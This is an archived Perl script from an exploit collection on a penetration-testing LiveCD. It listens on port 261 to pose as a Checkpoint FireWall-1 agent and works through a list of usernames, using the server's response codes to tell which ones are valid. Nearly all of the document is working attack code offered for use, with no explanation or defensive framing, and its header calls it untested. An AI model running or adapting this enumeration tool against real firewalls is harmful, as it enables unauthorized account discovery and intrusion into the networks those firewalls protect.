home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Checkpoint / brute-fw1-agent.pl < prev    next >
Perl Script  |  2005-02-12  |  2KB  |  55 lines

  1. #!/usr/bin/perl -w
  2. #
  3. # File  :       brute-fw1-agent.pl
  4. # Author:       Nelson Brito<nelson@secunet.com.br || nelson@sekure.org>
  5. #
  6. # Untested code, use on your own risc.
  7. #
  8. use Socket;
  9.  
  10. $c = 0; $port = 261; #$proto = getprotobyname('tcp');
  11.  
  12. socket(FAGENT, PF_INET, SOCK_STREAM, getprotobyname("tcp"))     or die
  13. "socket:$!";
  14. setsockopt(FAGENT, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))      or die
  15. "setsockopt: $!";
  16. bind(FAGENT, sockaddr_in($port, INADDR_ANY))                    or die
  17. "bind: $!";
  18. listen(FAGENT, SOMAXCONN)                                       or die
  19. "listen: $!";
  20.  
  21. open(SDI, "users") or die "open: $!\n";
  22. until(eof(SDI)){
  23.         $user = <SDI>; chomp($user);
  24.         next if ($user=~/^\s*#/);
  25.         next if ($user=~/^\s*$/);
  26.         push @users, $user;
  27. }
  28. close(SDI);
  29.  
  30. while(accept(MODULE, FAGENT)){
  31. LINE:   $c++;
  32.         print STDOUT "[+] Hii... I'm on TV $c times!\n";
  33.         recv(MODULE, $target, 1024, 0);
  34.         if($target=~/^331/i){
  35.                 chomp($users[0]);
  36.                 send(MODULE, "$users[0]\n", 0);
  37.                 recv(MODULE, $target, 1024, 0);
  38.                 if($target=~/^220/){
  39.                         recv(MODULE, $target, 1024, 0);
  40.                         if($target=~/^530/){
  41.                                 shift @users; goto LINE;
  42.                         }else{
  43.                                 die "[-] Unknow code. What happened?\n";
  44.                         }
  45.                 }elsif($target=~/^331/){
  46.                         print STDOUT "[+] The $users[0] username is right!\n";
  47.                 }else{
  48.                         die "[-] Uknow return code. What happened?\n";
  49.                 }
  50.         }else{
  51.                 die "[-] Unknow return code. What happened?\n";
  52.         }
  53.  
  54. }
  55.